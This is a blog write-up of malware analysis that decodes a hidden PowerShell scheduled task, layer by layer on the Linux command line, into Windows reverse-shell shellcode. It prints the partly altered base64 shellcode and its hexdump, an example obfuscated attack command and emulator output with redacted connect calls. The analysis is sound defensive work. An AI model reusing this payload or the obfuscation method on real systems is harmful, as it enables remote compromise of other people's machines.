Obfuscated cG93ZXJzaGVsbA==
Powershell; simply obfuscated. That’s all this headline and post is about. Really.
The encoding for the header is base64, which wikipedia defines as:
a group of binary-to-text encoding schemes that represent binary data (more specifically a sequence of 8-bit bytes) in an ASCII string format by translating it into a radix-64 representation
Simply put, this is a method of translating arbritrary data to typeable characters. It is often used to transmit data ‘blobs’ between systems where only typeable characters are allowed, and binary data is not. One of the most widely used implementations is in SMTP, for transferring email attachments. The second is probably for malicious purposes.
Encoding and obfuscation
Since base64 can represent binary data (maybe not entirely efficiently) with ASCII characters, it can be used to obfuscate or hide malicious payloads. Instead of writing exec('ssh randomspammerdomain.com')
an attacker could try to obfuscate the command with base64, which becomes ZXhlYygnc3NoIHJhbmRvbXNwYW1tZXJkb21haW4uY29tJyk=
. The first can be trivially observed by automated defenses or a human analyst and would be quickly stopped. The second command, you can’t easily tell what it does and likely wouldn’t be able to write automated defenses to stop it. This is because base64 is again, an ASCII text encoding (typically, keyboard typeable characters) representation.
Simple string matching signatures would create too many false positives or stop legitimate script executions. NOTE: Entropy or heurestic based analysis is a different solution. Base64 is reversiable and in fact is trivial to reverse. It is not encryption, and it’s not a one-way hash. The problem that base64 is trying to solve, isn’t to hide sensitive data or make it unrecoverable. Malicious actors use it for obfuscation, just a way to hide the payloads from detection, or to get complex data transmitted to another system.
Maliciousness
A friend came to me recently asking if I could look at his old computer. He had put it up a few years ago when he purchased a newer better one, because this old one was running slow. Now, he was looking to gift the computer to a younger relative, but wanted to fix it first. Simple fix of course would be entirely wipe the machine and re-install an OS. We both wanted to know why it was running slow though, so I started poking around on it. The TLDR version is, it had some malware on it! Well, a lot of malware and malicious items, but I wanted to focus on this one for a write up.
Looking over some of the autoruns services and scheduled tasks, I noticed a seemingly randomly named task WdHJ3Z3vTR
with the following (slightly altered) payload to execute on boot:
WOAH! Now that surely isn’t a legitimate use of powershell! But, what is it doing and how?
It’s starting a commandline process and passing arguments in to startup a powershell interpreter. Then there’s a whole mess commands passing high entropy string to be executed. High entropy by itself doesn’t mean the code is malicious, but here’s a few things about this that standout particularly:
- powershell arguments for
-noni -nop -w hidden -c
run a command in a hidden window, non interactively, and not loading profile scripts - System.IO.StreamReader(New-Object System.IO.Compression.GzipStream create a stream reader from a GZIP compressed input
- System.IO.MemoryStream load the following into memory stream, don’t write it to disk
- [System.Convert]::FromBase64String input is in encoded format, base64 string
- UseShellExecute =False execute the command as it’s own process
With all of these combined aspects, you can be pretty sure we have some maliciousness going on
Deobfuscation of powershell, on Linux
First
“WAIT!”, I hear some people saying… I thought this blog was about Linux, why are you talking about powershell? Well, it’s also about information security and how I’ve overcome particular problems I’ve encountered. So we’re going to dissect this problem on the command line.
First, we need to take that base64string from the scheduled task and decode it. On the Linux command line, use your favorite text editor and write the base64string to a file. Then, use the base64 -d <file>
command to unencode.
$ base64 -d task_b64 > decoded
If you try and view the decoded file now, it’ll be a mess of characters that don’t make any sense and likely mess up your terminal. That’s fine.. just type reset
and press enter. This happens because the decoded stream is data, not text! Looking at the task again for hints, we need to take into account another part: System.IO.Compression.GzipStream
. The decoded base64 string gets passed into a GZIP object, and decompressed. On the cli, lets test that with the following command:
$ file decoded
decoded: gzip compressed data, last modified: <snip>
This confirms it is gzip compressed, though doesn’t tell us if it’s actually valid. Lets try and decompress it further and take a look.
Second
$ gunzip < decoded > secondstage
$ vim secondstage
Here we see the next payload in the collection; more powershell and more interesting. There’s a lot to unpack here, literally, so lets start with some of the most interesting sections:
- seemingly random function names non descriptive, obfuscation attempts
- another base64 encoded string, converted to a byte array variable,
[Byte[]]$aN
- various calls to kernel32.dll, including calling a
VirtualAlloc
from the byte array$aN
variable - loading the base64 decoded string to memory and executing there
- pipes all STDOUT to null
At this point, if you’re trying to follow along on Windows, your anti-virus is likely going crazy. This is known bad. What we have here, is a so called fileless malware, with multiple layers of obfuscation. This is certainly nothing new, powershell redteam/attack frameworks like Empire, powersploit and metasploit, have been doing this for a while. But we’re not quite done with running this down yet. Let’s keep digging at the remainder.
After dissecting this Matryoshka doll, we know the payload is executing something. Using the same previous steps for decoding base64, lets find out what it is executing.
Third
Extract out the FromBase64String
and then decode it to a file:
$ echo -n "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixBAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=" | base64 -d > thirdstage
$ file thirdstage
thirdstage: data
Hmmm. That doesn’t tell us much so let’s try another tool hexdump:
$ hexdump -Cv thirdstage
00000000 fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b |......`..1.d.P0.|
00000010 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c |R..R..r(..J&1..<|
00000020 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 |a|., .......RW.R|
00000030 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 |..J<.L.x.H..Q.Y |
00000040 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac |...I..:I.4...1..|
00000050 c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 |.....8.u..}.;}$u|
00000060 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 |.X.X$..f..K.X...|
00000070 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff |......D$$[[aYZQ.|
00000080 e0 5f 5f 5a 8b 10 40 00 00 6a 00 50 68 0b 2f 0f |.__Z..@..j.Ph./.|
00000090 30 ff d5 57 68 75 6e 4d 61 ff d5 5e 5e ff 0c 24 |0..WhunMa..^^..$|
000000a0 0f 85 70 ff ff ff e9 9b ff ff ff 01 c3 29 c6 75 |..p..........).u|
000000b0 c1 c3 bb e0 1d 2a 0a 68 a6 95 bd 9d ff d5 3c 06 |.....*.h......<.|
000000c0 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a 00 53 ff ||....u..G.roj.S.|
000000d0 d5 |.|
000000d1
That’s looking a little scarier… Like I said before, there’s a few red team frameworks that can be used to create payloads. In this hexdump, “fc e8 82 00 00 00
” on the first line is a very common metasploit header for Windows shellcode. It’s not a 100% given at this point, but it is definitely an interesting find. This decoded blob is likely some shellcode payload, but we still can’t see what it’s doing. We’re going to need some additional tools.
Intermission, scdbg
Analyzing shellcode is pretty annoying and difficult. For 90% of the cases out there for windows that is not entirely custom written and target specific shellcode, there is SCDBG. It uses the libemu toolkit to emulate a Windows shellcode executions. There are other and more advanced tools out there like Unicorn Engine, but this will serve just fine. If you don’t already have scdbg, you’ll need to git it and build it.
That process on a Debian based system looks like this:
apt-get install libemu-dev libtool git
git clone git://github.com/dzzie/SCDBG.git
cd SCDBG
autoreconf -v -i
./configure --prefix=/opt/libemu; make install
When I tried this process, I had the following errors.
Makefile:496: recipe for target 'libemu.la' failed
Which is actually from libtool:
../libtool: eval: line 1720: syntax error near unexpected token
|`
Right above that error line there is the actual command causing this error:
| | /bin/sed 's/.* //' | sort | uniq
It appears like there is a command or something missing from the pipes before the sed command. You can’t “double pipe” in bash.
A workaround for this is to edit libtool
file that is created after the autoreconf. If you search the file for sort | uniq
, you’ll find a line starting with export_symbols_cmds
, that is causing this. The syntax error is caused by the environment variable $global_symbol_pipe
not being set. Edit the libtool file and remove that and the extra |
symbol, and save the file. Now, you should be able to run make install
and have it build successfully
ACT II
Now that we have scdbg built and working, lets take a look at our shellcode blob with it.
Run the command scdbf -f thirdstage
and we see the final payload:
$ scdbg -f thirdstage
Loaded 16a bytes from file thirdstage
Initilization Complete..
Max Steps: 200000
Using base offset: 0x401000
40109d LoadLibraryA(ws2_32)
4010ca WSASocket(2, 1, 0)
4010d6 connect(h=4711, host: X.X.X.X , port: XXXX )
4010d6 connect(h=4711, host: X.X.X.X , port: XXXX )
4010d6 connect(h=4711, host: X.X.X.X , port: XXXX )
4010d6 connect(h=4711, host: X.X.X.X , port: XXXX )
4010d6 connect(h=4711, host: X.X.X.X , port: XXXX )
Stepcount 200001
The IP address and port are redacted here but they’re not important. What’s important is that we did successfully decode the Windows shellcode, and can tell what it is trying to do. In this instance, it is attempting to create a socket connection over TCP to the stated IP address and port. This is a classic reverse shell attempt, with shellcode, encoded to base64 in multiple layers. If the payload was successful in evading detection and then running on boot (as the scheduled task was designed to do), an attacker would be rewarded with full command line access to the infected machine.
Bash-fu
You can try getting this all done at once (if you already have scdbg installed) by using a one-liner:
cat task_b64 | base64 -d | gunzip | grep "FromBase64String" | cut -d\" -f2 | base64 -d | scdbg -S
Conclusion
I’m confident that we discovered the ‘how and what’ of what this particular piece of malware was doing. We didn’t discover the why, or find out the root cause of the infection. For the purpose of understanding the dissection of the obfuscated Powershell, we did succeed though! The process detailed here is how I went about understanding what exactly was going on with this payload, through Linux command line.
This wasn’t the only malicious piece of software on the computer, just the most interesting one that was found. After all this to satiate curiosity, we just reloaded a clean and known good operating system. Crisis averted and a younger relative can now enjoy the joys of computing.
Additional reading
SANS ISC Blog - Fileless PowerShell
SCDBG
Base64 encoded text and hexcode/shellcode intentionally altered to reduce risk
Proudly written with VIM, pushed to gitea and processed with golang static site generator